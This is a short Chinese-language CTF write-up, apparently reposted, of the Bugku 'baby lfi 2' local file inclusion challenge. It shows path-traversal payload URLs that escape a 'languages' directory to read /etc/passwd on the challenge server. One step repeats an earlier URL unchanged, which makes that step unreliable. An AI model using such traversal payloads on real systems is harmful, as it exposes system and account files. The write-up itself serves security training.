欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > ctf.bugku-baby lfi 2

ctf.bugku-baby lfi 2

2024/10/25 23:29:14 来源:https://blog.csdn.net/guanrongl/article/details/142907012  浏览:    关键词:ctf.bugku-baby lfi 2

题目来源:baby lfi 2 - Bugku CTF平台

访问页面

翻译解析:百度翻译-您的超级翻译伙伴(文本、文档翻译) (baidu.com)

LFI Warmups- level 2 -本地文件包含(Local File Inclusion,简称LFI)

Hello I can speak 2 languages! - 提示:两种语言。

include some critical file why not/etc/passwd - 包含一些关键文件,为什么不能是/etc/passwd  呢 ?  /etc/passwd是Unix和Linux系统中存储用户账户信息的文件,通常包含用户名、密码(加密)、用户ID、组ID等信息。

Please Select a language of your choice:en/fr - 选择一种语言,英语(en)或者法语(fr)
Approved Paths, there is a languages directory, I wont tell you what's stocked in it? ;) - 存在一个“languages”目录,但不知道里面具体有什么内容。提示:可以探索这个目录来找到可能的文件包含路径

由于存在 languages 目录是确定的;构造payload

http://82.157.146.43:17219/?language=./languages/etc/passwd

得到

返回路径不合法, 通过.  和  ../修改路径

http://82.157.146.43:17219/?language=./languages/etc/passwd

路径合法,有戏;

继续修改payload ; ../../ 放多些,宁滥勿缺 ,少了可能回不到根目录

http://82.157.146.43:17219/?language=./languages/../../../../../../../../../etc/passwd

得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com